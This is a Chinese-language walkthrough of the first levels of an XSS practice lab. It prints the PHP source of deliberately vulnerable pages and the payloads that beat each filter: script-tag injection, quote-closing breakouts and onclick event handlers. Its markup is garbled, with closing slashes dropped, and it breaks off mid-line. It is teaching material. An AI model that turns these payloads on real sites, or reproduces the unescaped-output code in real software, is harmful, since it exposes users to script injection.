漏洞介绍:XSS漏洞
参考文章:XSS挑战之旅
游戏规则:触发alert()弹窗,进入下一关
进入第一关

随便输入一下,观测输出,看源代码

输入语句进行测试,触发弹窗,进入第二关

源码
DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function() //触发alert(),进入下一关
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
script>
<title>欢迎来到level1title>
head>
<body>
<h1 align=center>欢迎来到level1h1>
欢迎用户".$str.""; //直接对传入的参数进行输出,没有过滤
?>
<center><img src=level1.png>center>
payload的长度:".strlen($str)."";
?>
body>
html>
分析浏览器加载的结果
1 ------------------------------------------------
$str=<script>alert(1)script>
<h2 align=center>欢迎用户".$str."h2>
2 ------------------------------------------------
<h2 align=center>欢迎用户<script>alert(1)script>h2>
3 ------------------------------------------------
<h2 align=center>欢迎用户
<script>
alert(1) //触发alert()函数
script>
h2>
输入语句进行测试

查看网页源代码

分析浏览器加载的结果
<input name=keyword value=""> //这里的<script>alert(1)script>是字符串
<input name=keyword value="11111">"<script>alert(1)script>"> //闭合引号,这里的<script>alert(1)script>可以被浏览器加载
------------------------------------------------
<input name=keyword value="11111">
"
<script>
alert(1)
script>
">
进入下一关

源代码
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str.'"> //闭合value值
';
?>
输入语句进行测试

测试,看效果修改

<input name=keyword value='11111' onclick='alert(1)'>

下一关

源码
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果."."
";
?>
输入语句进行测试

继续测试11111' onclick='alert(1)

测试11111" onclick="alert(1)

下一关

源码
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str); //替换了< >
$str3=str_replace("<","",$str2);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str3.'">
';
?>
输入语句进行测试

测试

测试
123">

浏览器加载效果 
源码
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]); //不能用大写过滤
$str2=str_replace("